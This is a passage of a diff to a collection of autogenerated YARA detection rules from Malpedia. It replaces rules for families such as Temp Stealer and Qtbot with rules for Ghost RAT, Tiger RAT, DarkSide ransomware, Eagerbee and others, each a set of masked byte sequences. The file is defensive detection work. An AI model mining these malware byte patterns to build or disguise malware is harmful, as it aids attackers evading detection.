+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.coredn_auto.yar#L1-L169"
 		license_url = "N/A"
-		logic_hash = "c8a62c7797e4a86d80b8a858487a45d1e5042e60b70ed193ca612e4172a00dd8"
+		logic_hash = "706fde100ad28c7717e1440d078632bf0db4418173418e843d6c6c3781f1d1c0"
 		score = 75
 		quality = 75
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
-		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
-		malpedia_license = "CC BY-SA 4.0"
-		malpedia_sharing = "TLP:WHITE"
-
-	strings:
-		$sequence_0 = { e8???????? 83c410 83bfb40b000000 752e ff33 83bf500b000000 ffb608400000 }
-		$sequence_1 = { c645fc10 e8???????? c78574feffff0f000000 c78570feffff00000000 c68560feffff00 8d9560feffff 8d8d78feffff }
-		$sequence_2 = { 03f5 7458 803e2f 7509 83f804 7d04 40 }
-		$sequence_3 = { 55 8bd8 ff15???????? 83c414 85db 0f85c3010000 8b542440 }
-		$sequence_4 = { 8b742414 c744240800000000 83bec802000000 8b1e 57 8b834c010000 8dbe68050000 }
-		$sequence_5 = { c60201 8b10 2bca 83f906 7d0a b801000000 5e }
-		$sequence_6 = { 33c0 5f 59 c3 56 57 e8???????? }
-		$sequence_7 = { b91b000000 5e 0f44d9 5d 8bc3 5b 83c408 }
-		$sequence_8 = { e8???????? 83c40c 89442418 8983ac030000 68???????? 53 e8???????? }
-		$sequence_9 = { c6434501 3944241c 7520 85f6 0f8565ffffff 837c243020 7337 }
+		signator_config = "callsandjumps;datarefs;binvalue"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
+		malpedia_license = "CC BY-SA 4.0"
+		malpedia_sharing = "TLP:WHITE"
+
+	strings:
+		$sequence_0 = { 51 56 8d45fc 8bf1 50 e8???????? 85c0 }
+		$sequence_1 = { 7506 48 bf7a000780 c60000 8bc7 5f 5b }
+		$sequence_2 = { 8a1c06 84db 741c 8818 4a 40 }
+		$sequence_3 = { 83ea01 75e7 8851ff b87a000780 }
+		$sequence_4 = { 8be5 5d c20400 85c9 7506 48 bf7a000780 }
+		$sequence_5 = { 8bec 56 8b7508 ba04010000 2bf1 }
+		$sequence_6 = { 8a040e 84c0 7415 8801 41 83ea01 }
+		$sequence_7 = { 85d2 750d 8851ff b87a000780 5e }
+		$sequence_8 = { 8b550c 83ec20 33c9 8bc1 3914c5a81b4100 7408 }
+		$sequence_9 = { 8b45fc 81784890334100 7409 ff7048 e8???????? 59 c70701000000 }
+		$sequence_10 = { eb04 85c9 7508 83e802 bb7a000780 33c9 }
+		$sequence_11 = { c644241301 f6c301 744c 8b442414 }
+		$sequence_12 = { e9???????? c745e0a4124100 eba2 894ddc c745e0a4124100 e9???????? c745dc03000000 }
+		$sequence_13 = { 660fd60f 8d7f08 8b048d942e4000 ffe0 f7c703000000 7413 }
+		$sequence_14 = { 23c1 eb55 8b1c9d30d24000 56 6800080000 6a00 53 }
 
 	condition:
-		7 of them and filesize <1744896
+		7 of them and filesize <270336
 }
-rule MALPEDIA_Win_Cryptic_Convo_Auto : FILE
+rule MALPEDIA_Win_Ghost_Rat_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "c0d84b8c-dd86-5e0b-b294-081ee84952b7"
+		id = "a811e919-423f-5da5-9744-a836ad0cfe7b"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptic_convo"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.cryptic_convo_auto.yar#L1-L125"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ghost_rat"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.ghost_rat_auto.yar#L1-L294"
 		license_url = "N/A"
-		logic_hash = "39890a4d7eaef0b28d86a0d6d65ec4ed011fdfc3e00013a201ada7ffacfd1cd9"
+		logic_hash = "566fcbf38da6404d1cfb5b85cb33273a727f786f21d6a86dff53a4e450ad50b1"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -146203,32 +153175,54 @@ rule MALPEDIA_Win_Cryptic_Convo_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8bf8 ffd6 85ff 7515 8d45e8 68???????? }
-		$sequence_1 = { 75f9 8dbddcfaffff 2bc2 4f 8a4f01 }
-		$sequence_2 = { 399e88000000 7445 399e8c000000 743d 6a40 6800300000 ff7510 }
-		$sequence_3 = { c20400 0fb7442404 ff742408 50 e8???????? c20800 }
-		$sequence_4 = { 50 6a01 6a00 68???????? 57 ffd3 85c0 }
-		$sequence_5 = { a4 33c0 8a88d0474000 884c05e8 40 84c9 }
-		$sequence_6 = { f3a4 8dbddcfaffff 4f 8a4701 47 84c0 75f8 }
-		$sequence_7 = { 85c0 7407 c605????????01 be???????? 8d7d98 a5 66a5 }
-		$sequence_8 = { 894584 ffd6 53 57 89458c ff15???????? }
-		$sequence_9 = { 8d45c8 66a5 50 53 }
+		$sequence_0 = { 6a01 56 ff15???????? 5e c20800 }
+		$sequence_1 = { 8bd9 e8???????? 8b4d08 3bc8 }
+		$sequence_2 = { 8b400c 85c0 7505 a1???????? 50 8bce }
+		$sequence_3 = { 8be5 5d c20400 894df4 }
+		$sequence_4 = { 894df4 c745f800000000 df6df4 83ec08 dc0d???????? }
+		$sequence_5 = { 6a6b 8bce e8???????? 5f }
+		$sequence_6 = { e8???????? 8b8e549f0000 83c41c 89848e14030000 8b86549f0000 }
+		$sequence_7 = { 8d7b01 c60396 f3a5 53 8bcd }
+		$sequence_8 = { 8db714030000 8b06 6aff 50 }
+		$sequence_9 = { 8b5614 8b02 8b400c 85c0 }
+		$sequence_10 = { e9???????? 8d45dc 50 681f000200 }
+		$sequence_11 = { 50 ff15???????? ffb6a8000000 ff15???????? ffb6ac000000 }
+		$sequence_12 = { 8dbd85feffff f3ab 66ab aa }
+		$sequence_13 = { 6a00 6a00 c705????????20010000 e8???????? 8b35???????? }
+		$sequence_14 = { e8???????? 8d85c0feffff 50 57 ff15???????? 8bf8 83ffff }
+		$sequence_15 = { 83c40c 8d85b8feffff 50 8d85b4fdffff }
+		$sequence_16 = { 8bce e8???????? 8b4df4 5f b001 5e }
+		$sequence_17 = { 8bf0 83c40c 46 750b 5f 5e 33c0 }
+		$sequence_18 = { ff15???????? 6a01 ff7620 ff15???????? 8b4e04 e8???????? }
+		$sequence_19 = { ff7510 ff75dc ff15???????? 85c0 7507 c745e401000000 834dfcff }
+		$sequence_20 = { 56 53 e8???????? 83c408 84c0 750b }
+		$sequence_21 = { 68???????? 50 6802000080 e8???????? 83c41c 5f 5e }
+		$sequence_22 = { 6a00 50 e8???????? 83c40c ff7508 6a40 ff15???????? }
+		$sequence_23 = { 8365fc00 ff7508 ff15???????? 40 50 ff15???????? 59 }
+		$sequence_24 = { 8b4608 8b7e20 8b36 813f6b006500 7406 }
+		$sequence_25 = { c7014c696272 83e9fc c70161727941 83e9fc }
+		$sequence_26 = { 813f6b006500 7406 813f4b004500 75e8 }
+		$sequence_27 = { c7014c6f6164 83e9fc c7014c696272 83e9fc }
+		$sequence_28 = { 7475 8b45bc 8b08 894db4 }
+		$sequence_29 = { 8911 eb26 8b45b4 8b4d08 8d540102 }
+		$sequence_30 = { 8b55dc 8b7a18 8b7220 0375f8 33c9 }
+		$sequence_31 = { 6bc928 8b9538ffffff 8b8560ffffff 03440a0c 8985fcfeffff }
 
 	condition:
-		7 of them and filesize <97280
+		7 of them and filesize <357376
 }
-rule MALPEDIA_Win_Temp_Stealer_Auto : FILE
+rule MALPEDIA_Win_Mofksys_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "f2cc61b5-19bf-56a2-9eca-3f40739e6ccc"
+		id = "d4eb461a-0f9d-55f8-ba8b-2ce33ab04b0d"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.temp_stealer"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.temp_stealer_auto.yar#L1-L132"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mofksys"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.mofksys_auto.yar#L1-L130"
 		license_url = "N/A"
-		logic_hash = "225e1e9fc27831c15c6655569f2cde4ac7e8ac8903eef398ab726a5dfa80c059"
+		logic_hash = "79cea3cada5c4d8bb821159689e5cf75c88595dc32d8f5768a4b2ed694d76584"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -146242,32 +153236,32 @@ rule MALPEDIA_Win_Temp_Stealer_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 4d8bc7 498bce e8???????? 4885c0 7405 492bc6 eb04 }
-		$sequence_1 = { 488d4c2430 e8???????? 488b442430 48635004 488d051a730300 4889441430 488b442430 }
-		$sequence_2 = { 5e 5d c3 4889542410 48894c2408 55 53 }
-		$sequence_3 = { 488d4dc0 e8???????? 0f10442460 0f1145c0 0f104c2470 0f114dd0 660f6f05???????? }
-		$sequence_4 = { 418ac7 84c0 0f8408010000 8b4c2448 488d154240fdff 2b4c244c 41b826000000 }
-		$sequence_5 = { 488d4c2430 e8???????? 488d542430 488d4c2470 e8???????? 90 }
-		$sequence_6 = { 488d4c2450 e8???????? 660f6f05???????? 488d152a670300 488d4de0 4c896de0 f30f7f45f0 }
-		$sequence_7 = { 4183f805 0f8582000000 8b470c 458d487a c744243001000000 4c8d05ee7f0100 89442428 }
-		$sequence_8 = { ff15???????? 4c8be0 488985a0000000 488d15b9a30300 488bcb ff15???????? 4c8bf8 }
-		$sequence_9 = { 488d4c2458 e8???????? 90 488d8d48010000 e8???????? 488d45a8 }
+		$sequence_0 = { 50 e8???????? 8bd0 8d4de8 ffd6 8d8d60ffffff }
+		$sequence_1 = { 894dd4 c745fc07000000 8b55d8 52 e8???????? ff15???????? 8b45d4 }
+		$sequence_2 = { 83c40c c745fca1000000 ba???????? 8d4dc0 ff15???????? 8d4dc0 51 }
+		$sequence_3 = { f7de 3bf0 7209 ff15???????? 8b4dc0 8b4118 0fafc6 }
+		$sequence_4 = { ff15???????? 83c410 c745fc65000000 ba???????? 8d4dcc ff15???????? a1???????? }
+		$sequence_5 = { ff15???????? 8bd0 8d8d7cfcffff ffd6 50 ffd7 }
+		$sequence_6 = { a1???????? 8b4de4 50 51 ffd7 8bd0 8d4da8 }
+		$sequence_7 = { 3bc3 7d12 68e0000000 68???????? 56 50 }
+		$sequence_8 = { 83c201 0f80b2080000 52 8b45d0 50 68???????? }
+		$sequence_9 = { e8???????? 8d4ddc ff15???????? c745fc0f000000 68???????? 6a00 ff15???????? }
 
 	condition:
-		7 of them and filesize <652288
+		7 of them and filesize <401408
 }
-rule MALPEDIA_Win_Webc2_Ugx_Auto : FILE
+rule MALPEDIA_Win_Tiger_Rat_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "af26c213-66d2-5675-81ab-6f59f34ddb98"
+		id = "c2ea69b5-54d0-5c61-bb49-4f65b838d0af"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.webc2_ugx"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.webc2_ugx_auto.yar#L1-L121"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.tiger_rat"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.tiger_rat_auto.yar#L1-L165"
 		license_url = "N/A"
-		logic_hash = "c0369798dbc9b5bf726746a205f3377c225f0e99dd41f08ae5697ccf08cc0c9d"
+		logic_hash = "bed3ce3d252a7d616792a16e358ffda1357857c1fa2b5862a7f71cbabe456650"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -146281,34 +153275,40 @@ rule MALPEDIA_Win_Webc2_Ugx_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8d458c 895dec 50 8d8568ffffff 50 }
-		$sequence_1 = { 59 745e 8d4640 50 ff750c ffd3 59 }
-		$sequence_2 = { 50 ff15???????? 85c0 7455 8d85a8feffff 53 50 }
-		$sequence_3 = { ff9698060000 8bf8 85ff 0f84b5000000 8d866e0c0000 50 57 }
-		$sequence_4 = { 8d85a8feffff 68???????? 50 ffd6 }
-		$sequence_5 = { 50 ff55fc 8bc3 eb48 ff15???????? 56 }
-		$sequence_6 = { 8d8584fdffff 50 ff55bc 50 8d8584fdffff 50 }
-		$sequence_7 = { 8d8584f9ffff 57 50 ff55f0 }
-		$sequence_8 = { ff5508 ff7510 e9???????? 53 }
-		$sequence_9 = { 8d85a8feffff 68???????? 50 ffd6 8d85a8feffff 68???????? 50 }
+		$sequence_0 = { 4883c128 4889742448 48897c2450 ff15???????? }
+		$sequence_1 = { 0f11400c 488b4e28 488b5618 488b01 ff5010 }
+		$sequence_2 = { 4883c108 e8???????? 4d8b4618 41b901000000 }
+		$sequence_3 = { 33d2 41b80c000100 488bd8 e8???????? 4c63442430 488b4f08 }
+		$sequence_4 = { 4883c108 413bc0 7cef eb06 4898 }
+		$sequence_5 = { 4883c110 e8???????? 896e30 381f }
+		$sequence_6 = { 4883c10c e8???????? 488b4f28 488b5718 }
+		$sequence_7 = { 4883c110 48c741180f000000 33ed 48896910 408829 48c746500f000000 }
+		$sequence_8 = { 7ce0 488bce ff15???????? 8b0d???????? }
+		$sequence_9 = { ff15???????? 488bc8 ff15???????? ba0a000000 }
+		$sequence_10 = { 0b05???????? 8905???????? ff15???????? ff15???????? b9e8030000 8bd8 }
+		$sequence_11 = { 4c2bf3 8905???????? 493bf7 0f83c8000000 48896c2478 4c896c2430 41bd00f00000 }
+		$sequence_12 = { c705????????02000000 488905???????? 488d0556eb0100 48891d???????? 488905???????? 33c0 488905???????? }
+		$sequence_13 = { 8b05???????? 4d8bf4 2305???????? 4c03fe 4c2bf3 8905???????? }
+		$sequence_14 = { 4c8d35046c0100 49833cde00 7407 b801000000 eb5e }
+		$sequence_15 = { 8bd8 e8???????? 2bc3 3d70170000 7cf2 e8???????? }
 
 	condition:
-		7 of them and filesize <57344
+		7 of them and filesize <557056
 }
-rule MALPEDIA_Win_Qtbot_Auto : FILE
+rule MALPEDIA_Win_Darkside_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "ec8aa97a-290d-593c-aa5f-6c160f3c38cf"
+		id = "4e98e522-42dc-58c9-8c11-9325d3b56f3a"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.qtbot"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.qtbot_auto.yar#L1-L168"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.darkside"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.darkside_auto.yar#L1-L114"
 		license_url = "N/A"
-		logic_hash = "2c7689c956559567f13a9ec6cae95c5c067935d56f8491bff1983eb40f5f2838"
-		score = 60
-		quality = 25
+		logic_hash = "e40a0efe65c9a50695ac0381c3b73c18492ef0b0fce9893dbb25777c239f867f"
+		score = 75
+		quality = 75
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -146320,38 +153320,32 @@ rule MALPEDIA_Win_Qtbot_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 89450c 8d4301 0fb6d8 8a941dfcfeffff 0fb6c2 }
-		$sequence_1 = { 75e9 5b 5d c20400 }
-		$sequence_2 = { 25ffffff00 42 8a1a 84db }
-		$sequence_3 = { 8b049a 03c6 50 e8???????? }
-		$sequence_4 = { 33c0 53 8a1a 6bc80d 0fb6c3 83c0d0 }
-		$sequence_5 = { 03d6 8b481c 8b4018 03ce }
-		$sequence_6 = { 40 89450c 83ef01 75b1 8b4510 5f 5e }
-		$sequence_7 = { 85ff 7455 8b4510 89450c }
-		$sequence_8 = { 894dfc eb0e 8b14957c300010 49 0fafd1 0155fc }
-		$sequence_9 = { 8bd8 8d7e08 7504 8b2f eb02 }
-		$sequence_10 = { 0fb6805a210010 ff2485f6200010 8b8614080000 3b45f4 7e03 8945f4 8365fc00 }
-		$sequence_11 = { 6a00 ff15???????? 833e05 7521 6a10 6a40 ff15???????? }
-		$sequence_12 = { 8db720080000 833e00 751e 837efcff 7518 8b46f8 8b04855c300010 }
-		$sequence_13 = { 8b46f8 834de4ff 49 c745e8ff000000 8b3c857c300010 }
-		$sequence_14 = { 33c0 8b7df4 8b0c855c300010 c1e705 33d2 03fe }
-		$sequence_15 = { e8???????? 59 837e04ff 8bd8 8d7e08 }
+		$sequence_0 = { 8bd8 68ff000000 57 e8???????? 81c7ff000000 }
+		$sequence_1 = { 85d2 7407 52 57 }
+		$sequence_2 = { b9ff000000 33d2 f7f1 85c0 7418 }
+		$sequence_3 = { 57 e8???????? 81c7ff000000 4b }
+		$sequence_4 = { fec1 75d2 5f 5e 5a 59 5b }
+		$sequence_5 = { 56 57 b9f0000000 be???????? }
+		$sequence_6 = { 8b7d08 8b450c b9ff000000 33d2 f7f1 }
+		$sequence_7 = { 56 57 b9f0000000 be???????? 8b4508 }
+		$sequence_8 = { e8???????? 5f 5e 5a 59 5b 5d }
+		$sequence_9 = { 81ea10101010 2d10101010 81eb10101010 81ef10101010 }
 
 	condition:
-		7 of them and filesize <57344
+		7 of them and filesize <286720
 }
-rule MALPEDIA_Win_Tellyouthepass_Auto : FILE
+rule MALPEDIA_Win_Eagerbee_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "2f59ff80-ce55-5261-bc1e-9b9085ba348c"
+		id = "2c944b22-0670-5d3a-8325-748c1204ab76"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.tellyouthepass"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.tellyouthepass_auto.yar#L1-L134"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.eagerbee"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.eagerbee_auto.yar#L1-L131"
 		license_url = "N/A"
-		logic_hash = "e0931a30828c9c1e2a42766d85093d9ba189ed49cc692d748a9e549b96d308d1"
+		logic_hash = "128c0a374c8b1a00f6b82c3fc65b3e7ab4f3e40ebdc9cd2ac65e4a7f259bdca2"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -146365,32 +153359,32 @@ rule MALPEDIA_Win_Tellyouthepass_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 4c895c2438 48895c2430 e8???????? 488d05e4021a00 bb1d000000 e8???????? 488b442450 }
-		$sequence_1 = { 488d05a4bf1700 bb13000000 0f1f440000 e8???????? 8b442414 89c0 e8???????? }
-		$sequence_2 = { e8???????? 488b442428 e8???????? 488d0509dd1700 bb07000000 e8???????? 488b442420 }
-		$sequence_3 = { e9???????? 488d05231a3400 31db 488b6c2458 4883c460 c3 48895c2470 }
-		$sequence_4 = { 7506 48894208 eb09 488d7a08 e8???????? 488bac24f8000000 4881c400010000 }
-		$sequence_5 = { c3 440fb6ac24080a0000 4584ed 0f8471030000 4983fc07 0f85aa010000 4c8b4828 }
-		$sequence_6 = { e8???????? e8???????? 488b4818 488b5820 488b5028 4889c8 4889d1 }
-		$sequence_7 = { 498d7a78 e8???????? 498b9050010000 498b9858010000 498bb060010000 49899a98000000 4989b2a0000000 }
-		$sequence_8 = { 84c0 0f8566feffff 31c0 488b6c2418 4883c420 c3 31c0 }
-		$sequence_9 = { 0f1f00 e8???????? 31db 31c9 488d3d501c0c00 4889c6 31c0 }
+		$sequence_0 = { 493bc7 753b 488b05???????? ff05???????? 488bcb ff90f8000000 488d1560d80100 }
+		$sequence_1 = { 488d15b7aa0100 41b908000000 48c7c101000080 498943d8 c744245810000000 ff15???????? 85c0 }
+		$sequence_2 = { 0f44d8 eb0b 8b7c245c e8???????? 8bd8 85db 7415 }
+		$sequence_3 = { 744c 488d15be810200 488bcb 4d8bc7 e8???????? 488b05???????? }
+		$sequence_4 = { 8b01 eb06 ff90c0000000 410fb7cc eb3b 488bcf }
+		$sequence_5 = { 85c0 751e 4c8b4c2448 4c8b442440 488d1517640100 488b4c2430 ff15???????? }
+		$sequence_6 = { 8d6f07 458d77c7 8d5fce 488d8c2470010000 664489bc2470010000 6689bc2472010000 }
+		$sequence_7 = { c68424c20000006f c68424c300000073 4088bc24c4000000 c68424c500000073 c68424c60000006f c68424c700000063 4488bc24c8000000 }
+		$sequence_8 = { 8bd8 ebbf ff90e0000000 8bd8 85db 0f8481020000 3bdf }
+		$sequence_9 = { 4533c9 4533c0 48896c2458 4489642450 4489742454 48898698080000 c7869408000004000000 }
 
 	condition:
-		7 of them and filesize <7152640
+		7 of them and filesize <422912
 }
-rule MALPEDIA_Win_Roopirs_Auto : FILE
+rule MALPEDIA_Win_Grillmark_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "57676d4c-d0d7-5b4f-80a4-819b4d474425"
+		id = "891e7259-5469-58d4-a39e-a516f4f2c7d3"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.roopirs"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.roopirs_auto.yar#L1-L128"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.grillmark"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.grillmark_auto.yar#L1-L127"
 		license_url = "N/A"
-		logic_hash = "d4e144778ab9b98b475c3cbfeb400528a9373556893774f62bba1f2eb8f36265"
+		logic_hash = "fc8f047bb79d7c6ba82d87162ce46a1dc6555c1672864dfce07f64d88dd917ae"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -146404,32 +153398,32 @@ rule MALPEDIA_Win_Roopirs_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { c745fc47000000 8b4dd8 51 68???????? ff15???????? 8945c0 }
-		$sequence_1 = { 50 ff15???????? 898530ffffff eb0a c78530ffffff00000000 33c9 837da800 }
-		$sequence_2 = { ff15???????? 8d4db0 ff15???????? c745fc07000000 833d????????00 751c 68???????? }
-		$sequence_3 = { 8945b0 837db000 7d1d 6a20 68???????? 8b45dc 50 }
-		$sequence_4 = { 8d55d4 52 6a05 ff15???????? 83c418 8d45bc 50 }
-		$sequence_5 = { 8b02 8b4d80 51 ff5014 dbe2 89857cffffff }
-		$sequence_6 = { 8b4508 50 8b08 ff5104 8b5514 56 8d45bc }
-		$sequence_7 = { c78544ffffff00000000 8b45ac 89458c 8d4dcc 51 8b558c }
-		$sequence_8 = { 68???????? 68???????? ff15???????? c78548ffffffd4624000 eb0a }
-		$sequence_9 = { 8d4dc8 ff15???????? c745fc07000000 8b4dd8 51 68???????? }
+		$sequence_0 = { 83bd44ffffff04 7705 bb???????? 83bd44ffffff05 8b8548ffffff 7528 85c0 }
+		$sequence_1 = { 5e 5d c21400 55 8bec 56 68???????? }
+		$sequence_2 = { 59 7e13 50 57 6800000002 ff15???????? 8bd8 }
+		$sequence_3 = { 7409 ff75fc ff15???????? 56 56 56 }
+		$sequence_4 = { 66895dc4 50 c745c001010000 e8???????? ff7508 8d8590feffff 50 }
+		$sequence_5 = { 6a09 ab 59 8d7dc0 8975bc 8975f8 }
+		$sequence_6 = { 8dbdfdfeffff 889dfcfeffff 53 f3ab 66ab aa 8d85fcfeffff }
+		$sequence_7 = { 8d85f8fdffff 50 750d ffd7 8d85f4fcffff 50 }
+		$sequence_8 = { ff75f8 56 ff7508 ff75fc e8???????? 83c418 }
+		$sequence_9 = { ffd6 85c0 7473 8d45c8 }
 
 	condition:
-		7 of them and filesize <344064
+		7 of them and filesize <212992
 }
-rule MALPEDIA_Win_Treasurehunter_Auto : FILE
+rule MALPEDIA_Win_Tonedeaf_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "d910c7d8-579e-5e04-9944-d334673c4daa"
+		id = "5115d077-589f-5849-9e66-466eacfeb8fa"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.treasurehunter"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.treasurehunter_auto.yar#L1-L103"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.tonedeaf"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.tonedeaf_auto.yar#L1-L120"
 		license_url = "N/A"
-		logic_hash = "15ce0cdcd8ce74cbd944226eb16c8cf48295e060eba7d0ca2d750492d2eadd11"
+		logic_hash = "05f38897859076fdc96710dcc7b02a4e168a1e7a497536a51feb5fc01846d4dd"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -146443,30 +153437,32 @@ rule MALPEDIA_Win_Treasurehunter_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 75f9 2bf0 e8???????? 8bd0 }
-		$sequence_1 = { 53 56 8b35???????? 8bd9 8b4d08 57 }
-		$sequence_2 = { 8bf8 e8???????? 68???????? 57 e8???????? }
-		$sequence_3 = { 8bd9 8b4d08 57 8955fc e8???????? 8bce 8bf8 }
-		$sequence_4 = { 57 8bf9 8bca e8???????? 8b7508 }
-		$sequence_5 = { 56 50 8903 ff15???????? 8b4dfc }
-		$sequence_6 = { 7e0b 4a e8???????? 0fafc6 5e c3 }
-		$sequence_7 = { e8???????? b9???????? a3???????? e8???????? 5f 5e a3???????? }
+		$sequence_0 = { ff15???????? 56 ff15???????? 56 ff15???????? 56 e8???????? }
+		$sequence_1 = { 2bf1 8bc3 46 d1e8 }
+		$sequence_2 = { 8bc3 46 d1e8 33d2 }
+		$sequence_3 = { 8b45ec 85c0 740b 6a08 50 }
+		$sequence_4 = { 884c32ff 84c9 75f3 8bf3 8a03 43 84c0 }
+		$sequence_5 = { 8b5004 8d4af8 898c153cffffff 8d45a8 c745fc01000000 50 }
+		$sequence_6 = { 56 6a00 ff15???????? 56 ff15???????? 56 ff15???????? }
+		$sequence_7 = { 83f801 732f 8b0f 8bc1 }
+		$sequence_8 = { 0f57c0 c745dc00000000 33c0 660fd645d4 33db 8945d8 }
+		$sequence_9 = { 75f3 8bf3 8a03 43 84c0 75f9 }
 
 	condition:
-		7 of them and filesize <229376
+		7 of them and filesize <851968
 }
-rule MALPEDIA_Win_Onliner_Auto : FILE
+rule MALPEDIA_Win_Hamweq_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "c0a25174-badc-5a1b-a67c-48cbb1aef2be"
+		id = "5d79f276-5807-56d4-9ea0-44042b180646"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.onliner"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.onliner_auto.yar#L1-L132"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.hamweq"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.hamweq_auto.yar#L1-L117"
 		license_url = "N/A"
-		logic_hash = "6df36365f1b8dbe7cdb1d0b03d64f7da847c99d2518d7b5ebc1610f68ca3a069"
+		logic_hash = "f4464ade23ea171530cd0c6e2b15abfaf45c0eb2379ccacb80bd385a306f9a8e"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -146480,32 +153476,32 @@ rule MALPEDIA_Win_Onliner_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 0f8274ffffff 6683ff04 0f8596000000 33ff 8d45e4 668b55ee c1e202 }
-		$sequence_1 = { 8d8db4feffff 8bd3 8bc6 8b38 ff570c 8b85b4feffff 5a }
